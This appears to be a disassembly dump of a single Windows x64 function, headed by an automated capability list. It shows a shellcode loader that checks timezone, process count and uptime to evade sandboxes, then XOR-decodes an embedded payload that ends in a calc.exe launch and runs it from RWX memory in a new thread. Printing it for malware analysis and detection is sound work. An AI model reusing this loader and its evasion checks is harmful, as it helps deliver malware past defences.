Function at 0x140001000
Capabilities:
Allocate or change rwx memory
Create thread
Encode data using xor
Enumerate process modules
Spawn thread to rwx shellcode

Disassembly:
mov qword [rsp + 8], rbx
push rdi
mov eax, 0x1660
call fcn.140002190
sub rsp, rax
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x1650], rax
mov ebx, 6
lea rdx, [rsp + 0x30]
mov ecx, ebx
lea rax, str.252.72.131.228240.232.192.00.0.65.8165.80.82.8186.72.49.210101.72.139.8296.72.139.8224.72.139.8232.72.139.11480.72.15.18374.74.77.49201.72.49.192172.60.97.1242.44.32.65193.201.13.651.193.226.23782.65.81.72139.82.32.13966.60.72.1208.139.128.1360.0.0.72133.192.116.10372.1.208.80139.72.24.68139.64.32.731.208.227.8672.255.201.65139.52.136.721.214.77.49201.72.49.192172.65.193.20113.65.1.19356.224.117.24176.3.76.368.69.57.209117.216.88.68139.64.36.731.208.102.65139.12.72.68139.64.28.731.208.65.1394.136.72.1208.65.88.6588.94.89.9065.88.65.8965.90.72.131236.32.65.82255.224.88.6589.90.72.13918.233.87.255255.255.93.72186.1.0.00.0.0.00.72.141.1411.1.0.065.186.49.139111.135.255.213187.240.181.16286.65.186.166149.189.157.255213.72.131.19640.60.6.12410.128.251.224117.5.187.7119.114.111.1060.89.65.137218.255.213.9997.108.99.46101.120.101.0
nop dword [rax + rax]
lea rdx, [rdx + 0x80]
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
lea rax, [rax + 0x80]
movups xmmword [rdx - 0x80], xmm0
movups xmm0, xmmword [rax - 0x60]
movups xmmword [rdx - 0x70], xmm1
movups xmm1, xmmword [rax - 0x50]
movups xmmword [rdx - 0x60], xmm0
movups xmm0, xmmword [rax - 0x40]
movups xmmword [rdx - 0x50], xmm1
movups xmm1, xmmword [rax - 0x30]
movups xmmword [rdx - 0x40], xmm0
movups xmm0, xmmword [rax - 0x20]
movups xmmword [rdx - 0x30], xmm1
movups xmm1, xmmword [rax - 0x10]
movups xmmword [rdx - 0x20], xmm0
movups xmmword [rdx - 0x10], xmm1
sub rcx, 1
jne 0x140001040
mov ecx, dword [rax + 0x40]
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rdx], xmm0
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rdx + 0x10], xmm1
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rdx + 0x20], xmm0
movups xmmword [rdx + 0x30], xmm1
mov dword [rdx + 0x40], ecx
movzx ecx, byte [rax + 0x44]
mov byte [rdx + 0x44], cl
mov ecx, 0x409
call qword [sym.imp.KERNEL32.dll_SetThreadLocale]
lea rcx, [rsp + 0x390]
call qword [sym.imp.KERNEL32.dll_GetDynamicTimeZoneInformation]
lea r8, [rsp + 0x43c]
mov edx, 0x80
lea rax, [rsp + 0x1540]
sub r8, rax
lea rcx, [rsp + 0x1540]
nop word [rax + rax]
lea rax, [rdx + 0x7fffff7e]
test rax, rax
je 0x140001123
movzx eax, word [r8 + rcx]
test ax, ax
je 0x140001123
mov word [rcx], ax
add rcx, 2
sub rdx, 1
jne 0x140001100
lea rax, [rcx - 2]
test rdx, rdx
cmovne rax, rcx
xor edi, edi
lea rcx, [rsp + 0x1540]
mov word [rax], di
call qword [sym.imp.USER32.dll_CharUpperW]
lea rdx, str.W.Central_Africa_Standard_Time
lea rcx, [rsp + 0x1540]
call qword [sym.imp.VCRUNTIME140.dll_wcsstr]
test rax, rax
je 0x14000134d
lea r8, [rsp + 0x380]
mov edx, 0x1000
lea rcx, [rsp + 0x540]
call qword [sym.imp.KERNEL32.dll_K32EnumProcesses]
mov eax, dword [rsp + 0x380]
and eax, 0xfffffffc
cmp eax, 0xc8
jb 0x14000134d
call qword [sym.imp.KERNEL32.dll_GetTickCount64]
cmp rax, 0x124f80
jb 0x14000134d
mov ecx, 0xf4240
call qword [sym.imp.KERNEL32.dll_Sleep]
call qword [sym.imp.KERNEL32.dll_GetTickCount64]
mov edx, dword [0x7ffe0004]
mov r9, rax
mov r8d, dword [0x7ffe0320]
mov ecx, dword [0x7ffe0324]
imul r8, rdx
shl ecx, 8
imul ecx, edx
shr r8, 0x18
add r8d, ecx
sub eax, r8d
cmp eax, 0x64
jbe 0x1400011f1
sub r8d, r9d
cmp r8d, 0x64
ja 0x14000134d
mov edx, 0x345
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
lea rdx, [rsp + 0x30]
mov rcx, rax
nop word [rax + rax]
lea rcx, [rcx + 0x80]
movups xmm0, xmmword [rdx]
movups xmm1, xmmword [rdx + 0x10]
lea rdx, [rdx + 0x80]
movups xmmword [rcx - 0x80], xmm0
movups xmm0, xmmword [rdx - 0x60]
movups xmmword [rcx - 0x70], xmm1
movups xmm1, xmmword [rdx - 0x50]
movups xmmword [rcx - 0x60], xmm0
movups xmm0, xmmword [rdx - 0x40]
movups xmmword [rcx - 0x50], xmm1
movups xmm1, xmmword [rdx - 0x30]
movups xmmword [rcx - 0x40], xmm0
movups xmm0, xmmword [rdx - 0x20]
movups xmmword [rcx - 0x30], xmm1
movups xmm1, xmmword [rdx - 0x10]
movups xmmword [rcx - 0x20], xmm0
movups xmmword [rcx - 0x10], xmm1
sub rbx, 1
jne 0x140001220
mov eax, dword [rdx + 0x40]
movups xmm0, xmmword [rdx]
movups xmm1, xmmword [rdx + 0x10]
movdqa xmm2, xmmword [str.5555555555555555_]
movups xmmword [rcx], xmm0
movups xmm0, xmmword [rdx + 0x20]
movups xmmword [rcx + 0x10], xmm1
movups xmm1, xmmword [rdx + 0x30]
movups xmmword [rcx + 0x20], xmm0
movups xmmword [rcx + 0x30], xmm1
mov dword [rcx + 0x40], eax
movzx eax, byte [rdx + 0x44]
mov byte [rcx + 0x44], al
mov ecx, edi
lea rax, [r8 + 0x20]
nop dword [rax]
movdqu xmm0, xmmword [rax - 0x20]
lea rax, [rax + 0x40]
add ecx, 0x40
movdqa xmm1, xmm2
xorps xmm1, xmm0
movdqu xmmword [rax - 0x60], xmm1
movdqu xmm0, xmmword [rax - 0x50]
xorps xmm0, xmm2
movdqu xmmword [rax - 0x50], xmm0
movdqu xmm1, xmmword [rax - 0x40]
xorps xmm1, xmm2
movdqu xmmword [rax - 0x40], xmm1
movdqa xmm1, xmm2
movdqu xmm0, xmmword [rax - 0x30]
xorps xmm1, xmm0
movdqu xmmword [rax - 0x30], xmm1
cmp ecx, 0x340
jb 0x1400012b0
movsxd rax, ecx
cmp rax, 0x345
jae 0x140001321
add rax, r8
nop dword [rax]
xor byte [rax], 0x35
lea rax, [rax + 1]
inc ecx
cmp ecx, 0x345
jb 0x140001310
lea rax, [rsp + 0x384]
xor r9d, r9d
mov qword [rsp + 0x28], rax
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x20], edi
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rcx, rax
mov edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
xor eax, eax
mov rcx, qword [rsp + 0x1650]
xor rcx, rsp
call fcn.140001380
mov rbx, qword [rsp + 0x1670]
add rsp, 0x1660
pop rdi
ret